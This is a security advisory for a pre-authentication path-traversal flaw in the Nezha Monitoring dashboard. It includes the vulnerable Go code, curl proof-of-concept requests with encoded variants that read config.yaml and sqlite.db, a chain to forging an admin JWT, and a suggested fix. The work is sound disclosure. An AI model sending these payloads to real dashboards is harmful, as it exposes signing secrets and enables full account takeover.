Nezha Monitoring: Pre-auth path traversal via /dashboard.. prefix confusion leaks jwt_secret_key
🔗 CVE IDs covered (1)
📋 Description
Summary
fallbackToFrontend in the dashboard's NoRoute handler treats any URL whose raw string starts with /dashboard as an admin-frontend asset request. The check uses strings.HasPrefix, not a path-segment match, so the input /dashboard../data/config.yaml is accepted; strings.TrimPrefix leaves ../data/config.yaml; and path.Join("admin-dist", "../data/config.yaml") normalizes to data/config.yaml — which os.Stat finds and http.ServeFile returns. No authentication required.
In default deployments (the values shipped in model/config.go and the layout shipped in the project Dockerfile) data/config.yaml contains the HS256 jwt_secret_key used by cmd/dashboard/controller/jwt.go to sign every dashboard session cookie. A unauth attacker reads that secret, forges an admin JWT, and signs in as any user — full dashboard takeover from one GET request.
Details
Root cause
// cmd/dashboard/controller/controller.go @ 636f4a9
387: fallbackStatusCode := getFallbackStatusCode(c.Request.URL.Path)
388: if strings.HasPrefix(c.Request.URL.Path, "/dashboard") {
389: stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard")
390: localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)
391: if checkLocalFileOrFs(c, frontendDist, localFilePath, http.StatusOK) {
392: return
393: }
// cmd/dashboard/controller/controller.go @ 636f4a9
322: func fallbackToFrontend(frontendDist fs.FS) func(*gin.Context) {
323: checkLocalFileOrFs := func(c *gin.Context, fs fs.FS, path string, customStatusCode int) bool {
324: if _, err := os.Stat(path); err == nil {
325: http.ServeFile(utils.NewGinCustomWriter(c, customStatusCode), c.Request, path)
326: return true
327: }
fallbackToFrontend is wired as the catch-all at cmd/dashboard/controller/controller.go:157 — r.NoRoute(fallbackToFrontend(frontendDist)) — so every URL not matched by an earlier route reaches it, including pre-auth.
Path math (verified, see appendix)
| Input URL.Path | TrimPrefix(..., "/dashboard") | path.Join("admin-dist", ...) | Reachable file |
|---|---|---|---|
| /dashboard/login | /login | admin-dist/login | legitimate, intended |
| /dashboard/../data/config.yaml | /../data/config.yaml | data/config.yaml | but blocked by Go http.ServeFile's URL ..-segment guard → 400 |
| /dashboard../data/config.yaml | ../data/config.yaml | data/config.yaml | served, 200 |
| /dashboard%2e%2e/data/config.yaml | ../data/config.yaml (decoded) | data/config.yaml | served, 200 |
| /dashboard..%2fdata/config.yaml | ../data/config.yaml (decoded) | data/config.yaml | served, 200 |
The negative control (/dashboard/../data/config.yaml) lands at the same on-disk path after path.Join, but is rejected by http.ServeFile because Go's stdlib enforces a URL-level traversal guard that fires when the request URL itself contains a standalone .. segment. The bypass works because in /dashboard../... the first URL segment is the single token dashboard.. — no standalone .. — so the stdlib guard does not trigger. The traversal segment is created after TrimPrefix, downstream of every defense.
Why the existing defenses miss
- The prefix check is a substring test on the raw URL string, not a segment test.
dashboardanddashboard..are both accepted. path.JoinsilentlyCleans the result — so the..is consumed correctly to escapeadmin-dist, with no error returned to indicate escape.- Go's
http.ServeFilestdlib guard fires only on URLs with a standalone..segment (pernet/http.containsDotDot). The payload puts the dots inside the first segment instead. - No anchored "is this still under the template root?" check exists after
path.Join.
PoC
Setup
TARGET: github.com/nezhahq/nezha@636f4a971653ce3f5272fee99dc85c0bd5f923ef
HARNESS: stdlib-only port — see Appendix A
WORKDIR: tmpdir containing admin-dist/, user-dist/, data/config.yaml, data/sqlite.db
TIME-TO-REPRO: first request
The harness plants this data/config.yaml:
debug: false
listen_port: 8008
language: en_US
jwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE
agent_secret_key: REPRO_AGENT_SECRET_VALUE
site:
brand: nezha-repro
Observed responses
Primary payload — pre-auth secret disclosure:
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/config.yaml'
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 167
Content-Type: application/yaml
Last-Modified: Sun, 24 May 2026 12:16:23 GMT
Date: Sun, 24 May 2026 12:16:25 GMT
debug: false
listen_port: 8008
language: en_US
jwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE
agent_secret_key: REPRO_AGENT_SECRET_VALUE
site:
brand: nezha-repro
Negative control — Go stdlib guard rejects the canonical form:
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard/../data/config.yaml'
HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
invalid URL path
Encoded-dot variant — bypass also works:
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%2e%2e/data/config.yaml'
HTTP/1.1 200 OK
Content-Length: 167
Content-Type: application/yaml
[... full config.yaml including jwt_secret_key ...]
Encoded-slash variant — bypass also works:
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard..%2fdata/config.yaml'
HTTP/1.1 200 OK
Content-Length: 167
Content-Type: application/yaml
[... full config.yaml including jwt_secret_key ...]
Double-encoded — confirms the bypass requires single-level encoding:
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%252e%252e/data/config.yaml'
HTTP/1.1 200 OK
Content-Length: 30
Content-Type: text/html; charset=utf-8
<html>admin frontend OK</html>
The literal %252e%252e does not decode to .., so the path becomes admin-dist/%2e%2e/data/config.yaml (no escape), os.Stat fails, and the handler falls through to serving admin-dist/index.html — no secret disclosure.
Encoded leading slash — also blocked at the stdlib layer:
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%2f..%2fdata/config.yaml'
HTTP/1.1 400 Bad Request
invalid URL path
SQLite database exfil — same primitive:
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/sqlite.db'
HTTP/1.1 200 OK
Content-Length: 42
SQLITE_FORMAT_3_FAKE_DB_CONTENT_REPRO_ONLY
Sanity checks
- Normal
/dashboard/request still servesadmin-dist/index.htmlwith HTTP 200 — the bypass does not regress legitimate behavior. - Requests to
/api/...still hit the JSON-404 branch — the bypass is isolated to the/dashboardfallback.
Impact
Direct primitive
Unauth read of any file in the dashboard's working directory subtree reachable by escaping admin-dist one level. In default deployments that includes:
| File | Default path | Why it matters |
|---|---|---|
| data/config.yaml | from -c flag default (cmd/dashboard/main.go:104) | Contains jwt_secret_key (signing key, HS256), agent_secret_key, OAuth2 client secrets, GitHub release token, GeoIP API key, and any custom secrets |
| data/sqlite.db | from -db flag default (cmd/dashboard/main.go:105) | Full dashboard state: users (incl. admin), bcrypt password hashes, server registry, API tokens, notification configs |
Chain to administrative account takeover (verified path)
- Read config —
GET /dashboard../data/config.yamlreturns plaintext YAML containingjwt_secret_key. - Read database —
GET /dashboard../data/sqlite.dbreturns the SQLite file; an attacker opens it and reads theuserstable to recover admin user IDs (and any other claims the JWT references). - Forge a JWT — the dashboard's JWT middleware at
cmd/dashboard/controller/jwt.go:22,27is wired with:
HS256 is symmetric — possession of the key is sufficient to sign tokens that pass verification. An attacker mints a token whoseKey: []byte(singleton.Conf.JWTSecretKey), SigningAlgorithm: "HS256", CookieName: "nz-jwt", IdentityKey: model.CtxKeyAuthorizedUser,user_idclaim matches the admin user from step 2 and attaches it as thenz-jwtcookie (orAuthorization: Bearer ...). - Operate as admin — every admin handler (
adminHandlerchain) now accepts the forged session, granting CRUD on servers, users, cron tasks, notifications, and OAuth2 settings. The chain is fully deterministic against a default-configured dashboard: two unauth HTTP GETs and a JWT signing operation, no race, no user interaction, no special timing.
Suggested fix
Make the prefix test segment-aware and reject paths whose cleaned form escapes the template root before any filesystem call. Minimal diff:
- if strings.HasPrefix(c.Request.URL.Path, "/dashboard") {
- stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard")
+ if c.Request.URL.Path == "/dashboard/" || strings.HasPrefix(c.Request.URL.Path, "/dashboard/") {
+ stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard/")
+ cleanPath := path.Clean("/" + stripPath)
+ if cleanPath == ".." || strings.HasPrefix(cleanPath, "../") || strings.Contains(cleanPath, "/../") {
+ c.JSON(http.StatusNotFound, newErrorResponse(errors.New("404 Not Found")))
+ return
+ }
localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)
The /dashboard -> /dashboard/ redirect at line 382 already exists, so requiring the trailing slash is safe and aligns with the regexes in frontendPageUrlRegistry.
The same hardening should be applied to the user-template branch (lines 399–405), which uses the same path.Join pattern with singleton.Conf.UserTemplate. While the /dashboard prefix-confusion vector doesn't hit it directly, any future code change that hands a controlled URL.Path to that branch would re-introduce the same primitive.
A defense-in-depth alternative is to replace the local os.Stat + http.ServeFile branch with a http.FileServer(http.FS(subFS)) rooted at the embedded admin-dist subdirectory, which keeps the embedded-FS contract and removes the working-directory escape entirely.
🎯 Affected products1
- go/github.com/nezhahq/nezha:< 2.0.13